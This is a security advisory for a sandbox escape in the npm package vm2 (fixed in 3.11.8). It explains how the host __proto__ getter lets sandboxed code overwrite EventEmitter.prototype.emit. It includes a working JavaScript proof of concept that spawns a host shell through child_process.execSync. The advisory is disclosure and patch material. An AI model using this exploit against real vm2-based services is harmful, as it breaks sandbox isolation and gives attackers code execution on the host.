GHSA-88hf-g992-jg85
vm2: Sandbox Escape (NodeVM)
At a glance
- Published
- Updated
- CVE
- CVE-2026-92955
- CVSS_V3
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- CVSS_V4
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Description
## Summary It being possible to obtain the host `__proto__` getter/setter, has been used in many reports: - https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq - https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg - https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p - https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6 Yet it was never patched... --- This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via `console._stdout`/`console._stderr` (`NodeVM` with `console: 'inherit'`, which is the default) ## Details The prototype chain for `console._stdout`/`console._stderr` is: ``` _stdout / _stderr -> WriteStream (TTY only) -> Socket -> Duplex -> Readable -> Stream -> EventEmitter ``` `process` is an `EventEmitter`, and nothing stops us from writing things to `EventEmmiter.prototype` By overwriting `EventEmmiter.prototype.emit` with a function, and making `process` emit an event (e.g. `exit`, `unhandledRejection` etc.), we can execute code with `this` being `process`. This also bypasses `--disallow-code-generation-from-strings`, which blocks the "usual" escape of obtaining the host function constructor. ## PoC ```js const { NodeVM } = require("vm2"); code = ` const gP = Buffer.call.call(__lookupGetter__,67,'__proto__'); // vm __proto__ getter console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {} // host __proto__ getter console.log(gP.call(console._stderr)); // Socket { [...] } let p = console._stdout; while (p.pipe) { console.log(p.constructor.name); p = gP.call(p); }; p.emit = function(){ console.log(this+[]); this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"}) } `; const vm = new NodeVM(); vm.run(code); ```
Affected packages
| Package | Versions |
|---|---|
| npm · vm2 | introduced 0, fixed 3.11.8 |
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-88hf-g992-jg85 WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-92955 ADVISORY
- https://github.com/patriksimek/vm2/commit/22a43704c04b66823b4064b8a16fe1ad54ad0290 WEB
- https://github.com/patriksimek/vm2 PACKAGE
- https://github.com/patriksimek/vm2/blob/v3.11.7/lib/bridge.js#L1963-L1989 WEB
- https://github.com/patriksimek/vm2/blob/v3.11.7/lib/setup-node-sandbox.js#L437-L440 WEB
- https://github.com/patriksimek/vm2/releases/tag/v3.11.8 WEB
- https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-via-nodevm WEB
Sources
| Source | Licence |
|---|---|
| OSV.dev | CC-BY 4.0 — GitHub Advisory Database |